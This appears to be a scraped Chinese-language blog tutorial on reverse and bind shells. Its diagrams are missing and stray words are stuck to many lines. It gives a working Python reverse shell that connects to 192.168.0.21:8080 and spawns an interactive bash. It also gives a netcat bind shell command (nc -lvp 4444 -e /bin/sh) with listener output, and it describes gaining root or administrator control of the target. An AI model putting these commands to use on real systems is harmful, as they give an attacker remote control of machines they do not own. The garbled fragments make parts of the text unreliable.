-
reverse shell
-
bind shell
reverse shell描述图:python
在此示例中,目标使用端口4444反向链接攻击主机。-e选项将Bash shell发回攻击主机。请注意,咱们也能够在Windows的cmd.exe上使用-e选项。假设咱们已经在目标主机上找到了远程代码执行(RCE)漏洞。咱们能够在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。linux
先启动攻击端的监听:shell
再在目标端启动反向shell:bash
linux服务器
而后能够在攻击端控制目标端的服务器,以root权限;socket
win7spa
而后能够在攻击端控制目标端的win7系统,以administrator权限;code
python的反向shell:blog
import os,socket,subprocess; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.0.21',8080)) #重定向shell输出 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) #执行子程序 p=subprocess.call(['/bin/bash','-i'])
正向bind Shell
在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令链接到此端口。设置bind shell的步骤以下:cmd
使用Netcat将一个bash shell绑定到4444端口。 从攻击主机链接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。
root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a